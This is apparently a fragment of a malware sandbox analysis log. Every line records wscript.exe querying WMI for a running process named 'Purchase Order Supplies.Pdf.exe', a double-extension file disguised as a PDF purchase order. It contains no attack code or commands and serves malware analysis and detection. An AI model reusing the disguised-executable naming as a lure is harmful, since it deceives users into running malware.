Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
